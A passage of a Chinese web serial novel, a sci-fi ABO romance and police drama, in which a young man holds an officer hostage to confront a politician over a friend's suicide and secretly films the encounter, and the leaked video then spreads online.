少年声音沙哑：“……为什么？” “我知道你是谁，”裴简珩轻轻说，“戈维.斯坦利。” 被说中了名字的戈维下意识地打了个激灵，下一秒又竖起了防备：“不, 我不认识你，我也不相信你会担心我——” “——真正担心你的人，瞒着他的上级和议员长去找你了。” 戈维愣住：“什么？谁？” 裴简珩那双蓝色的眼睛转向他：“我的指挥官。” …… 闻铮一路把悬浮车开得飞快，从高空路段下降到东四区门口，他几乎是把车砸在地上，继左边额头之后，凯利斯差点右额又被砸肿。 他冲下车，车门甩得震天响，却在踏进大门的时候被喊住。回过头的一瞬间，他有些意外：“副局长？” 居然是平时没有什么事基本不出总部大楼的利切尔。 利切尔副局长看了一眼凯利斯，后者识趣地打了个招呼就先进去了，留下闻铮皱着眉：“不是急事的话，我还得先去解决一下裴简珩的——” “这就是我要说的事。” 利切尔副局长走近他两步，他虽然年纪也不小了，但身材挺拔矍铄，甚至和闻铮差不多。 “你不喜欢裴简珩，你也想把他从你的队伍里弄走。” 利切尔副局长视线微垂：“我可以现在就给你一个其他的紧急任务去做。而里面那个金头发的小孩，可以帮你省去很多麻烦事。” 闻铮猛地看向他，墨黑的眼睛里满是愕然！ 他听出了利切尔的言外之意。 裴简珩是上面一层一层压下来的人，真要去追根溯源，都有可能是首都星军部高层的势力。所以不管是利切尔还是闻铮，都没有权力置喙。甚至哪怕是7号星的星长来了，想动裴简珩都得掂量掂量。 他这个人，本身就是一个大麻烦。 就算是闻铮再不想要他，他也不能非常简单地把他处理掉，否则一定无法善了。 而利切尔，他在政｜治｜场上浸淫多年，这种借刀杀人和趁势而为的脏事，他做起来得心应手。 他特意从总部大楼赶过来，就是在给闻铮指一条路。 ——我知道你不想要这个麻烦，现在有人可以帮你解决，而且不会有任何后果，我来帮你兜这个底。 ——等欧赫来了，他巴不得杀了自己儿子的戈维死，而裴简珩作为连带伤害，这个责任算在胁迫人质的凶手头上，也怪不了欧赫。 ——每个人都可以脱身，而你闻铮只需要做的是服从上级的命令，带着你其他的下属去办一个紧急的任务而已，你就可以永远甩掉这个烫手山芋。 ——你想怎么做？你会怎么做？ …… 这个旧更衣室里平时没什么人来，气味并不是很好闻，有一种发了霉的潮湿味。 戈维呆呆地坐在一边的凳子上，手肘搭在膝盖，依然用枪口指着裴简珩。 裴简珩背对着门口坐在地上，被他用枪指着，一时也没有说话。 过了好一会儿，才有声音响起。 “上次，向星苑就坐在你现在坐的地方。” 听到向星苑的名字，戈维有了反应，他朝裴简珩看过去，半晌才说：“这些事和她都没有关系，都是我做的，是我捅死了欧睿。” “我不后悔。” “因为陆辰林吗？” 戈维从鼻腔里发出了一声哼笑：“你知道了？” “知道得不够多，”裴简珩摇头，“能给我讲讲吗？” 没人说话。 四五分钟后，一个低低的声音才响起来：“我父亲赌博，追债的下手重，不小心把他打死了，尸体随便扔到了一个废弃的车厂里。我妈妈跑了，没什么可指摘的，没有我做拖油瓶，她可以有更好的生活，我替她高兴。” “但我当时也不想活了。” “那个冬夜很冷，我在蓟梨河旁的天桥上徘徊，下定决心去死的时候，是阿林救了我。” “我告诉他我无处可去，他就把我带回了家，让我和他、和跟他是重组家庭的苑苑成为了新的一家人。” 戈维想起了什么，笑笑：“阿林很聪明，很争气，他凭着自己考进了法学院，还拿了奖学金，虽然只够学费，但他说等他毕业找到了工作，我们就可以搬离那个街区。我们每个人每天都打着4、5份零工，一天只有4个小时能睡觉，但我们仍然对未来怀揣希望。” 裴简珩轻轻道：“……然后欧睿出现了。” 他注意到，这个名字一出现，戈维攥着枪把的手就开始用力，用力到青筋迸现。 “他……阿林永远是他们学院的第一名。很多人，尤其是很多Alpha，无法接受他们被一个艾尼默人踩在脚下。” 戈维的手在抖，声音也在抖：“当然了！欧睿！他可是下一任星长的儿子！他想要什么没有？他怎么可能忍受有人在如此优秀的同时又对他视而不见？！” “欧睿讨厌阿林，阿林也恨他，恨他带着一群其他的Alpha在学校里侮辱他，打他，陷害他。他经常带着伤回家，苑苑心疼地掉眼泪，但阿林只说还有一年半了，他可以忍。” “结果呢？欧睿那个畜生，他用非法致幻剂嗨了，他就把阿林差点打死！” 戈维的喉咙里爆发出巨大的哽咽声，眼泪顺着他的脸颊不停地往外涌，而在某一个节点，他又倏地停下泣音。 “阿林很坚韧，只凭欧睿无法把他打倒，他报了案，他会和欧睿斗到底！” 裴简珩想到了什么，皱起眉：“那他怎么会跳河——” 戈维的声音变得冰冷而怨毒：“因为是你，完完全全地、彻彻底底地杀了他。” 裴简珩见他把目光移向自己，似有所感地朝身后的门口看去。 ——是欧赫—— 作者有话说：为了加强阅读体验，剧情高峰章节的小剧场会暂停营业喔（拉帘子） —— 感谢34402499和三硝的营养液！掉落相位枪｜模型x1！ （这都会口口是我没想到的…） 第32章 你休想！ 面容冷肃的议员长就站在门口, 直直迎着戈维怨恨的目光：“你就是杀了我儿子的人。” 裴简珩瞟了一眼通讯上显示的时间，距离戈维的要求的二十分钟还有七分钟，欧赫怎么会到的这么快？从星政府到这里少说也要二十五分钟, 他都已经做好要拖延时间的准备了。 戈维盯着他, 一手依然拿着枪对着裴简珩，另一只手下意识地摸了摸领口，裴简珩注意到那里有一条项链, 异于常人的视力能让他看到吊坠是一只小小的兔子，眼睛还是红色的。 “我没有杀你的朋友。”欧赫上前一步，他脸色憔悴，显然独生子的死亡让这个中年政客也大受打击, “我从来没见过他。” 戈维没回答他, 只是反问：“你带了任何的通讯设备和武器吗？” 欧赫摇头, 举起手给他看自己空空如也的手腕。很显然，他身上这种高定的修身西装，也没有任何可以藏匿武器的空间。 戈维对裴简珩道：“请过去把门关上, 谢谢。” 裴简珩照做，在关上门的瞬间, 他的视线在门外逡巡了一圈，都是警部的人，还有罗斯警长，但没有闻铮的身影。 他垂下眼，默不作声地关上了门, 又走回了原位。 戈维这才将视线转到欧赫身上，重复：“你杀了阿林。” 欧赫皱眉，也重复了一遍：“我从来没见过你的朋友。” “你杀了阿林，”戈维冷冷道, “通过践踏他的人格，摧毁他的理想，彻底地杀了他。” 欧赫显然是听不懂他在说什么，习惯站在高处的政客已经有些溢于言表的不耐：“你到底——” “你不敢见他，你无法面对你儿子是个垃圾和畜生的事实。所以你只是派了一个律师来塞钱好随意打发他，逼他撤诉，逼他放弃！让你和你儿子一个可以高枕无忧地去竞选星长，另一个可以继续在学校里挥斥风云，毕业后穿上和你一样的西装，摇身一变戴上冠冕堂皇的面具，而过去的种种烂事，没人记得！” 欧赫的声音戛然而止。 “你的律师，叫李什么，阿林认识他。” 戈维冷笑起来：“他是阿林某一门学科——什么来着，哦对，法律与道德的副教授。在某一天，他突兀地出现在我们家门口，作为欧睿的律师，’劝’阿林撤诉私了。他说我们斗不过你们的，不如拿了钱，省去后面漫长的庭审流程，先毕业算了。” “阿林请他离开，他放下了八千星币，说这是最好的选择，如果他不同意，他会失去得更多。” “八千……哈哈哈……哈哈哈哈！”戈维的眼睛都充了血，“他受的伤害，他失去的尊严，他的人格，他的理想，原来只值八千，甚至没有欧睿一套衣服值钱！” “他在医院三天才出急诊室，我们没有联邦保险，很多药和设备都用不起，他差点死在手术台上！” “八千？！” 欧赫好像听到了什么天方夜谭，惊到向前一步：“我不是——” 戈维打断了他：“阿林没有撤诉，你知道他接下来获得了什么吗？” “他被学校停学察看，说他’德行有亏’。” “他兼职的地方把他开除了，说他们没有别的办法。” “负责他这个案子的警官不再接他的通讯。” “就连负责他的检察官，都和他说证据不足，这个案子的优先级要先往后放。” 戈维拿着枪的手在抖，他把枪口从裴简珩胸口移向了欧赫的：“你让他对自己坚信的理想开始质疑，他的信仰也随之破灭！他说，原来在这里，所谓的法律与正义不过是特权阶级的权力游戏。” “当天深夜，他就从桥上一跃而下。我再见到他的时候，就只剩下一具冰冷的尸体！” 戈维越说越激动，他的身体也在颤抖，忍不住朝门口的欧赫越走越近：“□□的折磨无法打败阿林，是你！是你让他对这个世界和他所坚信的一切绝望！” 裴简珩立刻上前拉住戈维的胳膊，他担心戈维情绪失控之下对欧赫动手。他不关心欧赫是死是活，但他不值得戈维因此背上更大的责任。 戈维没有挣扎，那把枪在他手里像玩具一样垂着头，泪水从他的眼角流下来，顺着那块小小的伤疤蜿蜒而下：“我知道你在竞选7号星下一任的星长，你休想！” “7号星固然已经烂了，而你！你也根本不会让这里变得更好！” 裴简珩的眉头既不可见地皱了皱，戈维势单力薄，他怎么能确保欧赫无法成为下一任星长？只要欧赫想，今天发生的一切他都可以掩盖下去—— 他不经意地扫过了戈维的领口，突然发现兔子吊坠的眼睛在闪烁。 一下、两下、三下。 ……很规律。 裴简珩静静地移开了目光，就像没有看到过一样。 欧赫看上去一瞬间好像老了十岁，这个一贯能言善道的政客，两片嘴唇开开合合，最终只吐出了三个字：“……抱歉。” 有一些事情他想解释，但又觉得好像没有解释的必要了。 “我没想到会是这样，我只是……”欧赫神色黯然，“……想保护我的儿子。” “你儿子真幸运，”戈维冷漠地讽刺道，“很可惜，像我和阿林这样的人，没有你这样的父亲来保护。” 这时，门被打开了。 吱呀的声音传来，裴简珩立刻抓住戈维的右手让他把枪口对准自己，小声命令道：“就这么对准我，别动！” 如果是欧赫的人，或者别的警部的人强行突围，戈维手里有人质会安全一点。 戈维神色复杂地看着他，问：“……为什么？” 为什么要帮我？ “——因为他是我的人。” 低哑的声音从门口传来，一个瘦削高挑的身影逆光而立。 …… 面对利切尔副局长的提议，闻铮没有丝毫犹豫。 “多谢，但我不需要。” 他对利切尔副局长点了点头：“不管裴简珩是谁派来的，背后又有什么背景，我不想要他，我会想办法让他主动离开。但只要他在我手下一天，我就会对他的安全负责。” 利切尔笑了，他笑的时候右边脸有一点僵，闻铮从小就怀疑利切尔是不是年轻的时候爱臭美，去做了什么拉皮微创手术，到现在都没恢复好。 “听起来你已经认可他留下了。”利切尔说，“看来我无意中还是帮你招揽了一个得力下属哦？” 闻铮没有正面回应，只是道：“里面还有一个小朋友，我也要管的。” 利切尔一顿：“挟持裴简珩要求见欧赫的那个戈维？你认识他？” 这时，另一辆悬浮车也砸在地上，欧赫从里面急急地出来，看都没看他俩一眼就冲进了大门。 利切尔啧啧：“他来的倒是快啊。” 闻铮冷笑：“早就在路上了吧。” 刚才给他打了那么多通讯，在戈维要求见他之前，他就看到了匹配记录，早就坐不住了。 闻铮的通讯突然响了一下，是林瑜淞。 刚刚他让林瑜淞去查了一个信息，现在他给回了结果。 “11:16分，开往副3星的物资星舰1231号已顺利起飞，目前正准备进入第一个空间迁跃，是否需要联系地面塔台发送拦截召回信号？” 闻铮垂眼看着那条信息，简短回复了以后便大步踏进了大门。 ——“放她去吧。” 利切尔副局长看着闻铮的背影，笑着摇了摇头。 这么多年没见，看上去已经完全变了个人，骨子里却还是当年那个心软的善良小孩。 当那个时刻真的来临的时候，你怎么办呢—— 作者有话说：下章闻哥在小戈维面前掉马～ 第33章 你有没有事？ 戈维听到熟悉的声音, 难以置信地抬头！ 这个声音……这个声音！ 门口那个逆光的身影踏前一步，走到了光里，那张凌厉苍白的脸在这个昏暗的小房间里分外显眼。 而戈维、这个金发少年显然无法接受这个事实, 踉跄着后退一步：“闻——你、你怎么会在这儿……你到底是……” 闻铮看着他, 轻轻道：“对不起，之前没有告诉你，我是暗影组的指挥官, 闻。” 戈维的双唇开开合合，像一只被丢上了岸的鱼：“是你之前抓了苑——” “戈维！” 闻铮立刻打断了他，这屋里还有别人，他身后的门口还围着其他的警官, 甚至还有狙击手抗着相位步枪——是的没错, 在这个落后的星球上, 相位步枪就是最高级的武器了，整个星球上也就五把——在角落里埋伏，生怕这个金发少年一枪把下一任星长崩了, 他们这些人都没什么好果子吃。 ——只是他们无法对准戈维，因为闻铮不知道是有意还是无意, 站在门口把他挡得严严实实。 戈维被他严厉的语气吓得一惊，立刻噤声。 闻铮见他没再说下去，这才放轻了语气：“现在是11点21分。” 没头没尾的时间播报让所有人都一头雾水。 只有戈维，猛地瞪大了双眼：“你——” “我刚去了你家，空无一人。”闻铮说, “离弦之箭，你想做的事已经做到了。” 戈维遥遥地注视着这个黑发黑眼的青年，他们只见过三次，他还跟自己隐瞒了身份, 还抓过苑苑。 但他也和自己在深夜的桥上聊过天，帮自己解过围，给他包扎过伤口，送给了他一把匕首，和他说——我知道你可以从苦难里变得更强大，只有活着，一切才有希望。 戈维将枪口下移，裴简珩见状立刻从他手中将那把古老到早就被淘汰的子弹枪拿了过来，向后一步退到了暗处。 闻铮举起右拳，外面的人看到手势，纷纷卸下武器。 第一个进来的人是利切尔副局长，他直奔欧赫，脸上挂着那种政治性的职业假笑，过去就是一番没有任何温度的嘘寒问暖。 闻铮走上前去，抢在其他人之前拉住戈维的手臂：“跟我走。” 戈维抬头看他，绿色的眼睛里有着释然：“我杀了欧睿，我现在要给他偿命了，对不对？” 闻铮喉头滚动了一下，轻声道：“在你的律师来之前，无论谁来找你，你一个字都不要说。” 戈维笑：“我怎么可能请得起律师。” “你不需要考虑这个。”闻铮拍了拍他的胳膊，“记住什么都不要说就行。” 戈维愣愣地点头，这是他人生中没经历过几次的温情，让他的眼泪又一次掉落。 路过欧赫的时候，戈维停住了脚步。 他的停顿让利切尔副局长紧张起来，万一这时候他再掏出什么武器弄死欧赫，他可吃不完兜着走，于是他看向闻铮，后者对他点了点头示意他放心。 戈维看着欧赫，吃吃地笑了起来：“你知道么，你的画像被挂在阿林学院的荣誉墙上。” 欧赫一愣。 他当然知道，7号星上的法学院就那么可怜的一个。他也是法学出身，历来政法都是一家，他当过辩护律师、又当了检察官、再之后做过五年法官，最后才转成了政客。 他的画像是在做第二年法官的时候，被母校当作荣誉校友挂上去的，他还高兴地捐了一笔费用。 “有一天阿林在图书馆里看到了一本书，他很喜欢，攒了很久的钱才买了下来，翻看过无数次，哪怕他这么爱惜，这本书也被他看到卷边了。” 戈维盯着欧赫的眼睛，一字一句道：“那本书是《论法与责》。” 欧赫大震，震到他甚至倒退三步。 戈维左手揣进了兜里，利切尔以为他在拿什么武器，又肉眼可见地紧张起来。 但他只是拿出了一摞星币现金：“给阿林治病和找黑市火化，花光了我们所有的钱。但哪怕苑苑去偷吃的，也不愿意花你的脏钱一分一毫。” “这些钱，现在都还给你。” 戈维将那一摞现金甩到欧赫眼前，十几张大额纸币借着门口吹进来的风在空中四下飘散。 这些钱明明这么轻，却重到能要了一个人的命。 “议员长，当年写下这本书时的想法，你现在还记得多少？” 被闻铮带走的时候，戈维最后看了他们一眼，目光先落到欧赫身上，又在利切尔副局长身上停留一瞬，冷笑一声转过去，再没回头。 …… 直到他们都走了，裴简珩才从暗处走出来。 他刚踏出这个小小的旧更衣室，罗斯警长就朝他走了过来：“裴中校，请把戈维.斯坦利的武器交给何首席。” 何首席也来了，这么大的事，作为鉴证组的老大，他早就被喊到一旁待机了。 裴简珩将从戈维手里拿过来的枪递给何首席：“辛苦何首席。” 何首席接过来这把已经被军方淘汰的武器，一入手就有些疑惑，又掂了掂，费解地盯了一会儿裴简珩的背影，还是决定不多嘴。 裴简珩上楼，刚走到办公室门口，就被凯利斯他们嘘寒问暖了一番——看来倒确实是拿人手软吃人嘴短，这么多天的咖啡也没白买。 林瑜淞指了指审讯室的方向：“闻哥带着戈维过去了。” 裴简珩谢过他，不同于其他人，林瑜淞确实心细到吓人，哪怕自己面上没有任何显露，他都能从自己的行为和神态细节捕捉到他的真实想法。 裴简珩还没拐弯，就听见闻铮在打通讯。 “是的，这可能会是个比较麻烦的案子……费用我会出……” “检察官那边我会去……” “不、不需要，请务必不要透露是我……” 裴简珩等了等，等到闻铮挂断通讯以后才转弯过去。 闻铮看到他，神色缓了缓：“你有没有事？” 裴简珩微微垂眼，认真地看着他：“我能从您对他的态度看出来，您认为他不是一个杀人狂，所以我愿意冒这个险。” 闻铮抬眼注视着他。眼前这个Alpha不止高大俊朗，甚至经济、教养等任何条件都非常突出，所以他至今都不明白为什么他会执意来到这里。 而闻铮自己也很清楚，因为他们睡过一次、也因为裴简珩可能会知道他是Omega这个秘密，所以他一直都对裴简珩很挑剔，衡量他的标准也远比其他人更为苛刻。 他对他的信任太少、怀疑太多，防备之心更是不必多说。 只是纵观他出现以来的所有行为和表现，裴简珩没有做错任何事情，不止远超出闻铮原本的预期，甚至优于任何其他下属。 而这一次，他更是在一次都没有接触过戈维的前提下，完完全全地选择闻铮，相信他所相信的，哪怕自己冒着一定的危险，也要坚定地站在他这边。 闻铮不得不承认，哪怕他的腺体和信息素已经没有了，有可能那一晚上的结合还是对他有一些潜移默化的影响。 他现在突然觉得，如果裴简珩不记得那一晚、或者没有认出来他就是那个带着面具的Omega，他……他也不是不能留下。 被那双墨色的眼睛如此专注地看着，这让裴简珩心跳如鼓，他在这瞬间闪回了在魁斗星的那个深夜，他也是这样专注地看着自己。 还有那一晚，他在自己身下环着他的脖颈，双眼含着氤氲水光，也是同样地、专注地看着自己。 恍惚间，他又闻到了那股淡淡的、冷空气的味道。 裴简珩忍不住踏前一步：“闻哥，其实我——”—— 作者有话说：就算怎么故作沉稳，俺们小裴有的时候还是年轻啊，沉不住气（？ 第34章 欠你一次 “闻, 你找我？” 一个声音从裴简珩背后传来，是池亭。 池检察官冷淡的声线像一盆冷水一样砸了下来，让裴简珩瞬间清醒, 他倒退几步, 直到鼻尖萦绕的那股气息淡下去， 闻铮也好像被池亭的声音小小地吓了一跳，也下意识地后退一步, 甚至摸了摸鼻尖。 池亭走上前来，敏锐地扫视他们两个：“……我打扰你们了？” “没有！” 闻铮立刻道，可能是有过亲密接触以后就会心里发虚，他连反驳的音量都比平时大一点。出于掩饰, 他轻咳一声, 把刚刚那种若有似无的暧昧气息挥走, 问裴简珩：“你刚刚要说什么？” 裴简珩也摸了摸自己的鼻梁，掩饰性地道：“啊，我想问能不能让我单独和戈维待一分钟？” 闻铮挥挥手让他进去审讯室了, 反正里面也有人工智能眼。 留下池亭饶有兴味地双手环胸打量他：“所以到底找我什么事？” …… 裴简珩推门进去，金发少年正缩在长椅的一边, 双手拷着，瘦弱的身体缩起来小小一团，像只可怜巴巴的小狗。 银发Alpha站在他身侧，用修长的身体挡住了人工智能眼，低声道：“把你的项链给我。” 戈维倏地把头从膝盖里抬起来, 惊慌：“你——我不知道你在说什么——” “你没有必要瞒着我，”裴简珩道，“早在旧更衣室里我就发现了，你的吊坠是个微型摄像仪, 就算是在7号星，这东西也太古老了，不像是你能随便搞来的。” 戈维伸手牢牢地护住吊坠，很明显不想交出去。 裴简珩抬头看了一眼人工智能眼，那东西现在正滴溜溜地乱转：“我们现在这个阶段留不住你在暗影组，就算是闻哥也不行。聆讯保释之前你要去星中央拘留所至少一星期，在那里你的这个小玩意儿一定会被收走。” 戈维沉默。 他还是相信闻的，连带着也对他手下的人有几分信任，尤其是……这个确实能在眨眼间制服他的Alpha，刚刚却在那个小小的旧更衣室里冒着风险帮他。 他把那个兔子吊坠拽下来，放到了裴简珩的手上。 裴简珩握紧了吊坠，戈维小声说：“……求你了。” 求你别把这个交出去。 求你别让我失望。 求你让我、让阿林的命可以有那么一点点价值。 裴简珩对他点点头，打开门走了出去。 戈维看着他的背影消失在门后，又把头埋回到了膝盖里。 裴简珩出去的时候，闻铮正在和池亭吵架。 倒也没有真的急赤白脸吵起来，但确实是在争辩。 闻铮皱着眉头，显然很是不解：“戈维和陆辰林的人生都是一个彻头彻尾的悲剧，我没有要求你一定要放过他，我只是希望他可以得到一个相对宽容的控辩交易。” 池亭也并不让步：“我知道，我也为他们感到同情，但法律就是法律。他杀了欧睿是事实，如果在调查过程中没有其他可以减轻罪名的证据出现，我没有办法给到一个对他很有利的交易！而只要走到开庭这一步，哪怕你找一个退休法官做他的辩护律师，他都必输无疑。” “欧睿几乎杀了陆辰林，”闻铮冷冷道，“却没有得到法律的任何惩处。他都没有遵循法律，现在法律却要保护他的权利？” “我知道你无法理解。”池亭没有闻铮高，他看闻铮的时候要微微仰头，“闻，我知道你的行事准则一向比较……直接，军部里一切非黑即白，但法律系统不是这样运作的。” 闻铮没说话，他的大脑在光速地旋转。 池亭意味深长道：“再想想吧，如果你想帮他，就给我一些能够让他减轻罪名并且主动配合的东西。” 闻铮眉心微动，他和池亭合作了这么久，听得出他哪句话是有言外之意的。 果不其然，池亭靠近他一步，几不可闻道：“比如，那天晚上开车接应他的同伙是谁，以及这个人现在在哪里。” 闻铮的脑海里霎那间灵光一闪，试探道：“……如果他配合了，但出于某种原因我们无法——” 池亭微笑：“那就要看你能找到多好的办法，把你、我和他都摘得干干净净。” 说完他后退一步，摆摆手走了：“我什么也没说，等你进一步消息了。” 闻铮扯了扯唇角：“……欠你一次。” 池亭的声音遥遥地传来：“你欠我的多了！” 池亭的身影已经消失不见，而闻铮还在敛眉思索目前这个场景的两难解法。 肩头上传来一个转瞬即逝的温热触感，闻铮警觉地回眼看去，是裴简珩。 银发Alpha见四下无人，轻声问道：“闻哥，我能和您私下里聊两句吗？” …… 凯利斯本来正打算去找罗斯警长，却眼睁睁看着闻铮和裴简珩前后脚进了指挥官办公室，并且牢牢地关上了门，不知道要聊些什么，但两个人的表情都很严肃。 凯利斯抻着脖子看了一会儿，在闻铮扫过来的眼神里又缓慢地缩了回去，捅了捅林瑜淞：“我怎么感觉闻哥现在和裴简珩有小秘密了？这人才刚来几天？” 这苗头怎么感觉不对劲呢…… 林瑜淞意味深长：“还记得我们的赌约吗？” 凯利斯惊悚：“不是吧？！” 闻哥要做的事还没有放弃过，他真的愿意松口把裴简珩留下来了？ 林瑜淞没接话，只是注视着在透明办公室里不知道在聊什么的两个人，笑了笑。 这不是挺有意思的么？ …… 裴简珩跟着闻铮进了他的办公室，随手关上了门。 还没等闻铮开口问，他主动地拿出了戈维的项链：“这是戈维刚刚带着的项链，我去要了过来，否则一定会被星中央拘留所扣押下来。” 项链？ 闻铮蹙眉，朝裴简珩伸出手，裴简珩瞥了一眼，食指、中指、大拇指的指腹处都有厚厚一层茧子，在苍白的手心上分外显眼。 光是看都能想得到那种手感——粗粝的、有着淡淡磨感的。 是被长枪短炮磨出来、杀过人的、丝毫不柔软的手。 裴简珩却轻轻地把项链放进这只手里，力道轻柔得好像在对待一盏易碎的玻璃藏品。 闻铮没有注意到这点，他的全部注意力都在这个平平无奇的吊坠项链上：“这个项链有什么问题？” 裴简珩指了指兔子的红色眼睛，此刻那双眼睛变成暗红色：“微型摄像仪。” 闻铮：“……什么？” “这是很落后的一种技术，”裴简珩说，“是最早的成像设备，不同于现在，依靠这种设备所获得的画质先不论是否清楚，甚至依然是二维的，但对戈维来说，这种东西显然更好获得。” 闻铮双手环胸，审视地看着他：“你怎么会这么清楚？” 裴简珩笑：“我上学的时候星纪史年年满分。” 当然也包括在特定历史时期的历史产物。 他环顾了一圈，从闻铮桌上拿起一支笔，沿着兔子的轮廓把它外皮撬开，边撬边道：“如果我没记错，这里面应该有一个很古老型号的芯片才对——” 咔哒一声，塑料兔子被撬开，里面空空如也。 闻铮瞅了一眼，饶有意味：“芯片呢？” 裴简珩：“……” 咦？—— 作者有话说：臭屁小裴[撒花] 第35章 凭什么？ 嘚瑟失败, 闻铮能看见这个年轻的银发Alpha的耳朵都开始泛红，显然脸皮还是挺薄的。 他忍不住笑了一下，自己都没注意到他已经被裴简珩逗笑好几次了。 闻铮凑过去和他一起看这个古老的二维成像仪, 在里面一个不起眼的地方看到了一个很小很小的芯片。 “这个应该不是古老类型的芯片, ”裴简珩皱眉，“它太小了，起码是最近一百年以内的新芯片。” “我知道这是什么, 这是一个传送芯片，成像信息会以秒为单位传送到另一个终端，传后即焚，这个东西就会变成一个废物。” 闻铮垂下眼睫, 裴简珩从这个角度只能看到他浓密如鸦羽一般的睫毛, 而看不到他眼睛里的神色。 这次换裴简珩一怔：“……您怎么知道？” “……我还知道, 这是谁做的。” 闻铮脸上的神色变幻莫测，轻声道：“这里面参与的人倒是远比我想得还要多。” 还没等裴简珩问出口，办公室的门被敲响, 何首席探出头来：“指挥官，我可以借用您五分钟时间吗？” “当然, 请进。” 闻铮把何首席请进来，裴简珩见状知趣地要出去，闻铮抓住了他的手腕，压低声音命令：“一会儿戈维的辩护律师会过来。除了她以外，没有我的允许, 任何人都不许见戈维，明白了吗？” 裴简珩点头，他知道闻铮在防什么。 就在几天前，谁也没想到但丁能在审讯室里出事, 虽然是自杀，但这背后绝对没有这么简单，闻铮不敢再冒险。 他踏出办公室，在帮闻铮关上门的时候，他瞥见何首席把证物袋递给闻铮，里面装着他刚刚从戈维手中夺下来的枪。 裴简珩平静地收回目光，关好了门，左边裤兜里的东西在微微发烫。 …… 陈宇是7号星东二区的一个普普通通的居民，和这个星球上48%的人一样，他也是艾尼默人。 只是他更幸运一点，家里稍微有点资产，不用住在贫民窟里，也不用申请助学贷款，虽然也需要自己打工，但起码还能上个普通的大学，虽然学的是很累的医科，但起码未来还能看到一丝光亮。 现在正好是期末周，他被繁重的课业和考试压力压得喘不上来气，终于考完了最后一门，他匆匆从图书馆离开，擦肩而过的同时他听到了同系同学的高声笑语。 “就那样吧！考考算了，反正到时候毕业随便让家里给我塞到哪个医院的科室就得了，我现在懒得管。” “那你不也得先及格再说吗？你要是挂了可就拿不了毕业证了！” “这都小事儿，让家里找找关系，及格还不容易啊，又不影响什么，都能改……” “……还是你行哈哈哈哈……” 他侧过头看向那一小撮人，他认得，是一个Alpha和他身边的几个狗腿Beta。在这个中等学府里，一个Alpha可是珍稀资源，享受着学业、生活、人际关系等各种优待，哪怕他是个彻头彻尾的废物。 但这个废物也可以轻松地找到一个医院科室当主治医师，而像陈宇这种艾尼默人，哪怕他聪明、谦逊、成绩佼佼，最后也只能去个社区医院当一个急诊室的护士。 陈宇冷笑一声，头也不回地回到自己那个二十平方的家了。 他愤怒地把书包甩在床上，这种不公的待遇一直让像他这样年轻的艾尼默人如鲠在喉，凭什么他们就要低人类一等？！凭什么这个社会的所有资源都要向人类、向Alpha倾斜？！ 凭什么？ 凭什么？！ 他怒气冲冲地打开通讯，上面收到了来自他好几个朋友的信息，都让他赶紧打开7号星局域星网看热搜！ 联邦的星网是按照星系划分的，越远的星系收费越贵。 7号星内部星网是免费的，但如果要看洛河星系范围就要收费了，如果再想看隔壁瑰云星系的网络就要翻两倍，而要看联邦主星系或首都星的网络则基本上要付出7号星一个月的平均工资。 所以基本上7号星的居民都只在本局域网里活动，最多偶尔看一下所在的洛河星系的重大新闻。 而就在陈宇刚刚考试的时候，7号星的星网热搜爆了。 他连忙打开通讯看星网，不断攀升的热度让他这个老型号的通讯差点卡死，承载的低版本人工智能发出了滴滴滴滴的声音，直到五分钟后，悬浮屏才能在他面前打开。 爆了的那一条没有任何文字，只有一个明显是第一视角的偷拍视频。 摄像头对准的那个人，虽然面目有点模糊，但陈宇有印象，他这两年一直出现在各种新闻报道里，好像正在竞选下一届星长，叫什么来着——欧赫？他儿子好像前段时间死了，还被报道了，说是什么谋杀。 “……你杀了我儿子。” 上来第一句话就让陈宇眼睛瞪大了，随后的发展更是让他呼吸停滞。 “……你杀了阿林，通过践踏他的人格，摧毁他的理想，彻底地杀了他……” “……你不敢见他，你无法面对你儿子是个畜生的事实……你和你儿子一个可以高枕无忧地去竞选星长，另一个可以继续在学校里……过去的种种烂事，没人记得……” “……你让他的信仰随之破灭……所谓的法律与正义不过是特权阶级的权力游戏……” “7号星固然已经烂了，而你！你也根本不会让这里变得更好！” “我只是……想保护我的儿子……” 陈宇感到一股火正从他的胸口往上灼烧，烧过他的喉咙，烧过他的眼睛，一直烧到他的脑顶。 又是这样！ 又是这样！！ 人类的日子过得总是这样舒坦，这个世界不过是这些Alpha的游乐场，那他们算什么？ 哪怕他们成为了陆辰林这样优秀的人，最后的结局依然是□□被伤害、精神被压迫、理想被毁灭，凭什么？ 几十年前，联邦把他们这些艾尼默人从德瓦人手中解救出来，就只是为了现在这样的情形吗？ 而这样做的人，要成为这个星球接下来十年的星长吗？！ 他红着眼睛，甚至第一次为了增加视频的热度而充了自己寥寥无几的生活费，但就在他充钱的下一秒，这条视频消失了。 他愣在原地，巨大的无力感翻涌而来。 就连声音，都不被允许发出和听见吗？ 他不死心地又刷新星网页面，刚刚的那条视频不见了，下一秒，又出现了五条同样的视频，热度正在以可怕的速度攀升！ 陈宇立刻打开通讯联系了自己的朋友们。 “你们看到那条视频了吗？” …… 同样的，闹得这么大，暗影组的人也不会不知道。 江悦刚刚不在现场，她在星网热搜上看到了这个视频，点开看完一遍以后，她又再次点开看了第二遍、第三遍。 第三遍看完，泪水已经从她眼角直直地滑落—— 作者有话说：今天也是双更！ 宝宝们，这几天更新时间有一点点差别，上夹子前都是凌晨更新，周一上夹当天是晚上23点更新，如果夹子坠机了我就在家里掉小珍珠（不是 之后就还是稳定每天上午十一点更新啦！ 以及之前从没想过能顺v……所以前期存稿的时候还是按照压字数存稿的，在40章之后就每章3k+攒小红花啦[星星眼]爱你们！！！ 第36章 你会后悔的 她太能明白艾尼默人现在的困境, 她甚至就身在其中。 就在这里，在这个星球的司法体系里。 她赶上了一个还不错的时机，因为艾尼默人不断地争取权利, 警部不得不增设艾尼默人岗位来表达自己所谓的“正确性”, 而她必须很努力很努力，远比其他的Alpha和Beta都努力，才有机会在警部学院里获得和他们一样的待遇。 可结果呢？ 她满心欢喜地加入了凶杀重案组, 以为可以为这个星球，为自己的族人做些什么，她得到的却是排挤、轻视、打压和Alpha上司的骚扰。 而她的拒绝和反抗，换来的是更加变本加厉地打压和侮辱, 她从凶杀重案组被流放到巡逻执勤队, 负责的地区是整个7号星最乱最烂的地方, 而她的Alpha上司放出话来，只要他还在，谁都别想把她从那里放出来。 而就在她准备放弃的前一刻, 她遇到了闻哥。 闻哥丝毫不惧怕和这个有靠山的Alpha上司交恶，他骂闻哥是人类叛徒, 是疯狗，闻哥就把他所有想遮掩的丑事一项一项念出来，告诉他如果不收手，自己会更疯，让他有本事就试试。 闻哥让她第一次愿意相信人类, 